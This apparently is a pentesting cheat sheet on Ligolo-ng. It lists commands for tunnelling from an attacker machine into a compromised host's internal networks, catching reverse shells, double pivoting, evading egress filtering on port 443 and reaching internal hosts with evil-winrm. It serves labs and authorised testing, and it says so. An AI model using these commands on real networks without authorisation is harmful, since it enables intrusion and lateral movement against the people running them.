root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat ligolo-ng.md
// Shells & Pivoting

Ligolo-ng

21 Jul 2026 · 6 min read
Shells & Pivotingcheatsheetsligolo-ng
Ligolo-ng is a pivoting tool that exposes the internal networks of a compromised host through a TUN interface on the attacker machine. Instead of a SOCKS proxy wrapped with proxychains, you bring up a real network interface and route through it: any tool (nmap, evil-winrm, impacket) works natively. The agent runs on the victim and connects back to the attacker's proxy.

The key point is that Ligolo works at the TUN level, not SOCKS: that is why you need no proxychains and avoid its limitations (no forced TCP-connect, ICMP and UDP work). The minimal flow has three pieces that are often forgotten: select the session, run start, and add the ip route toward the subnet; miss any one and the tunnel looks dead. Because the agent connects toward the proxy, listening on 443 helps to cross restrictive egress.

1. Beginner level — basic TUN tunnel

LIGOLO-NG cheat sheet — Beginner
CommandWhat it does
ligolo-proxy -selfcertStarts the proxy (attacker) with a self-signed cert
sudo ip tuntap add user $USER mode tun ligoloCreates the ligolo tun interface
sudo ip link set ligolo upBrings the interface up
agent -connect <ip>:11601 -ignore-certConnects the agent (victim) to the proxy
sessionLists and selects the agent session
ifconfig(in session) shows the networks reachable from the agent
startStarts the tunnel for the selected session
sudo ip route add 10.10.10.0/24 dev ligoloRoutes the internal subnet through the tunnel
ligolo-proxy -selfcert -laddr 0.0.0.0:11601Changes the listening port
agent -connect <ip>:11601 -retryRetries the agent connection
helpShows the available commands
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444Redirects a port from the agent to the attacker
listener_listLists the active redirectors
nmap -sT -Pn 10.10.10.5Direct scan through the tunnel (no proxychains)

2. Advanced level — reverse shells and double pivot

LIGOLO-NG cheat sheet — Advanced
CommandWhat it does
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80Receives a reverse shell on the internal network
sudo ip route add 240.0.0.1/32 dev ligolo'agent' route to connect back to the agent
./agent -connect <ip>:11601 -ignore-cert &Launches the agent in the background
agent.exe -connect <ip>:11601 -ignore-certAgent on Windows
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080Forwards web traffic to the attacker
sudo ip route add 172.16.0.0/16 dev ligoloRoutes a second subnet (double pivot)
agent -connect <ip>:11601 -ignore-cert -vAgent in verbose mode
sudo ip tuntap add user $USER mode tun ligolo2Second interface for double pivoting
listener_delete --id 0Deletes a redirector
agent -connect <ip_pivot1>:11601 -ignore-certChains a second agent (pivot 2)
ligolo-proxy -selfcert -laddr 0.0.0.0:443Listens on 443 to evade egress
impacket-smbserver share . -smb2supportShares files reachable through the tunnel
evil-winrm -i 10.10.10.5 -u user -p passConnects to an internal host through the tunnel
sudo ip route del 10.10.10.0/24 dev ligoloRemoves a route when finished

3. Details people miss

  • Creating and managing the tun interface (ip tuntap, ip link, ip route) requires root/sudo; the proxy itself does not, but without the interface there is no pivot.
  • The most common failure is not a network one: it is forgetting the trio session → start → ip route add ... dev ligolo. Without the route toward the subnet the tunnel looks dead even if the session is connected.
  • The agent connects toward the proxy (reverse connection), so the listening port (default 11601) must be reachable from the victim; listening on 443 helps evade restrictive egress.
  • To receive reverse shells or reach the agent host itself you need the special route 240.0.0.1/32 dev ligolo; it is the internal address Ligolo reserves to talk to the agent.
  • Because it is a real TUN interface you use no proxychains or SOCKS: run nmap with -sT -Pn, and remember to clean up routes when done (ip route del) so you do not leave routing altered.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.